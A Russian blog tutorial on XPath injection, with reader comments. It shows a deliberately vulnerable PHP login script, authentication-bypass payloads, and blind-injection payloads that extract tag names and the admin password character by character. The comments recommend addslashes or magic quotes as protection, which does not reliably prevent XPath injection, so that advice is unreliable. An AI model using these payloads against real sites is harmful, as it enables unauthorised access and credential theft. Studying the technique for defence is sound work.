XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:
<?xml version="1.0" encoding="UTF-8"?> <foo> <bar param="value"/> </foo>
XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
/foo/bar
Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:
<?xml version="1.0" encoding="UTF-8"?> <foo> <bar param="value"/> </foo>
C другой стороны, XPath похож и на SQL, так как позволяет накладывать условия выборки. Для этого в XPath существуют логические операторы, числовые, строковые и другие функции. Образно говоря, XML документ – это база данных, а XPath – это средство, с помощью которого возможно получить из нее данные. Если провести параллель со SQL, то станет очевидным, что XPath-инъекции во многом похожи на SQL-инъекции. Для обоих типов уязвимостей главным фактором, который позволяет проводить подобного рода инъекции, является недостаточная фильтрация входных данных.
Рассмотрим классический пример: имеется XML документ, в котором хранятся данные пользователей сайта, а также уязвимый скрипт, не проверяющий поступающие от пользователя данные при авторизации:
<?xml version="1.0" encoding="UTF-8"?> <users> <user> <id>0</id> <login>admin</login> <password>blah</password> <firstname>Vasya</firstname> </user> <user> <id>1</id> <login>user</login> <password>123</password> <firstname>LOL</firstname> </user> <user> <id>2</id> <login>foo</login> <password>bar</password> <firstname>FOOBAR</firstname> </user> </users>
<?php $login = $_POST['login']; $pass = $_POST['pass']; $xml = simplexml_load_file('users.xml'); // Формируем XPath-запрос $query = "//users/user[login/text()='$login' and password/text()='$pass']"; // Выполняем его $result = $xml->xpath($query); if(!$result) { die("User credentials are not correct"); } $user_data = $result[0]; $id = $user_data->id; $firstname = $user_data->firstname; /**/ ?>
Переменные login и password никак не проверяются, что позволяет внедрить собственный XPath-запрос в оригинальный. Если в SQL, это было бы нечто вроде abc’ OR 1=1/*, то в XPath всилу того, что в этом языке не предусмотрены символы, обозначающие комментарий, можно успешно обойти авторизацию таким образом:
‘ or 1=1 or ”=’
или еще более простым способом:
‘ or ‘1’=’1
В итоге выполнится следующий запрос и мы успешно пройдем авторизацию:
//users/user[login/text()=admin and password/text()=’‘ or ‘1’=’1′]
Если обход авторизации не был конечной целью атакующего, например ему необходимо было получить исходный пароль администратора, то в этом случае достичь успеха поможет Blind XPath Injection. Дело в том, что в XPath не существует возможности провести UNION как при SQL-инъекциях, поэтому получить строковое или численное значение из XML-документа можно только с помощью техники слепых инъекций. Если Вы знакомы с аналогичной техникой в SQL, то без труда поймете, как данный способ реализовывается в XPath. Напомню лишь, что в основе лежит разделение ответов сервера, одно из которых принимается за истинное, а другое – за ложное, что позволяет судить о правильности и неправильности выполненных запросов.
Следующие функции необходимы или могут участвовать при осуществлении Blind XPath Injection:
- int count(node-set) возвращает количество элементов в node-set
- string name([node-set]) возвращает полное имя первого тэга в множестве
- boolean contains(string, string) возвращает истину, если первая строка содержит вторую, иначе возвращает ложь
- string substring(string, number, [number]) возвращает строку вырезанную из строки начиная с указанного номера, и если указан второй номер — количество символов
- int string-length([string]) возвращает длину строки
Этих функций будет вполне достаточно для осуществления полноценной XPath-инъекции. Итак, первое, что необходимо сделать – это узнать количество тэгов, присутствующих в записи каждого пользователя:
‘] | //*[1][count(*)=’1‘] | /foo[bar=’
‘] | //*[1][count(*)=’2‘] | /foo[bar=’
‘] | //*[1][count(*)=’3‘] | /foo[bar=’
Разберем данный запрос.
‘] | //*[1][count(*)=’1′] | /foo[bar=’
этим мы закрываем ранее открытые квадратные скобки, выражения внутри которых позволяют задавать более четкие критерии для элемента, т.е. накладывать условия
‘] | //*[1][count(*)=’1’] | /foo[bar=’
снова открываем, чтобы не возникала ошибка
‘] | //*[1][count(*)=’1′] | /foo[bar=’
выражение между двумя | (логическое или) является основой нашего запроса
‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем первый узел из всего XML документа
‘] | //*[1][count(*)=’1′] | /foo[bar=’
выделяем все элементы внутри этого узла
‘] | //*[1][count(*)=’1′] | /foo[bar=’
наше условие
Перебор проводим до тех пор, пока сервер не возвратит нужный ответ. Допустим мы установили, что у каждого пользователя 4 тэга, в которых хранятся их данные. Теперь необходимо получить название каждого тэга (грубо говоря, названия полей, как при SQL-инъекциях). Здесь нам поможет функция name():
‘] | //*[name(*[3])=’password’] | /foo[bar=’
Если сервер возвратит истину, то третий элемент любого узла имеет имя password
‘] | //*[name(*[*])=’password’] | /foo[bar=’
В этом случае, если сервер возвратит истину, то один из элементов любого узла имеет имя password
Получить полные имена тэгов можно с помощью посимвольного перебора:
‘] | //*[1][substring(name(*[1]),1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(name(*[1]),1,1)=’c’] | /foo[bar=’
Стоит отметить, что в XPath не предусмотрена функция, которая переводила бы символы в ASCII-коды, наподобие ORD() или ASCII() в SQL.
Узнав название элемента, получаем его значение:
‘] | //*[1][substring(password,1,1)=’a’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’b’] | /foo[bar=’
‘] | //*[1][substring(password,1,1)=’c’] | /foo[bar=’
Как при переборе названий элементов, так и их значений можно предварительно узнать количество символов:
‘] | //*[1][string-length(name(*[1]))=7] | /foo[bar=’
‘] | //*[1][string-length(password)=7] | /foo[bar=’
Таким образом, перебирая названия и значения элементов, мы можем полностью реконструировать исходный XML-документ.
Несмотря на общую схожесть SQL и XPath инъекций, они имеют ряд важных особенностей, во многом отличающие их друг от друга:
- при XPath-инъекциях необходимо знать лишь общую структуру оригинального запроса, что существенно облегчает атаку, в то время как при некоторых типах SQL-инъекций для удачной атаки нужно полностью знать весь или определенную часть запроса.
- XPath – это универсальный язык, существует лишь две его разновидности XPath версии 1.0 и 2.0; SQL имеет множество реализаций, особенности каждой из которых необходимо учитывать
- Модель доступа к элементам XML документа с помощью XPath предполагает обращение к любой его части, однако в SQL атакующий может быть ограничен определенной базой данных или лишен каких-либо привилегий
Спасибо моему другу Kuzya за его великолепную книгу “Методы атак web-приложений“, в которой он доступно осветил данный тип уязвимостей
Рекомендую почитать:
12 replies on “Введение в XPath-инъекции”
Очень интересные идея и пост.
Признаться, когда мучал XPath не придал ему большого значения по той причине, что не встречал ни разу его реализаций, да и больно он сложен показался по сравнению хотя бы с тем же SQL.
а как от этого обезопаситься?
как и при SQL-инъекциях необходимо экранировать опасные символы, реализуется это с помощью функции addslashes(). Если на сервере включены магические кавычки, то PHP сам добавит бэкслэши и в этом случае провести XPath-инъекцию практически невозможно
можно ли определить, сайт использует в качестве хранилища данный какую-либо бд либо хмл? А то можно тытатся найти скуль инжект а на самом деле юзается хмл и наоборот.
Выяснить тип используемой БД, не имея исходного кода, можно в том случае, если при неверном запросе возникает ошибка PHP. Если же ошибки не выводятся, то определить тип БД можно эвристическим методом, т.е. используя определенные конструкции и выражения, которые используются либо в XPath, либо в SQL.
понятно, как всегда методом тыка 🙂
ну да, если будет скуль ошибка то это уже говорит о том что это скуль бд, но если приложение использует хмл, то возможно оно выдаст при кривом запросе – не могу найти такой-то хмл файл или что в этом роде, если канешно програмер не перехватит это исключение и не подставит свою страничку с эрором, чтобы тяжелей было понять. Кста если есть характерные ошибки для доступа к хмл буду рад если поделишься 🙂
Если бы таковые имелись обязательно опубликовал бы их в своей статье =) Вообще меня эта тема также очень интересует, правда информации по этому поводу в сети довольно мало
Интересно все реализовал на хостинге — даю запрос – не проходит (ничего не фильтруется)
http://www.*****.ru/users_xml.php?user=test&pass='+or+'1'='1
В чем дело?
видимо неправильная реализация, без кода очень трудно сказать в чем именно проблема
Реализация правильная
// Формируем XPath-запрос
$query = “//users/user[login/text()=’$user’ and password/text()=’$pass’]”;
так
http://www.*****.ru/users_xml.php?user=test&pass=‘ or ‘1’=’1
– даю такую команду — не катит – правлю код так
$query = “//users/user[login/text()=’$user’ and password/text()=” or ‘1’=’1′]”;
даю запрос так
http://www.*****.ru/users_xml.php?user=test
все катит!!!
>даю такую команду — не катит
как именно не катит?
вообще у меня предположение, что у вас включена опция magic_quotes_gpc и именно из-за нее ничего не получается
Выключил – все равно не пашет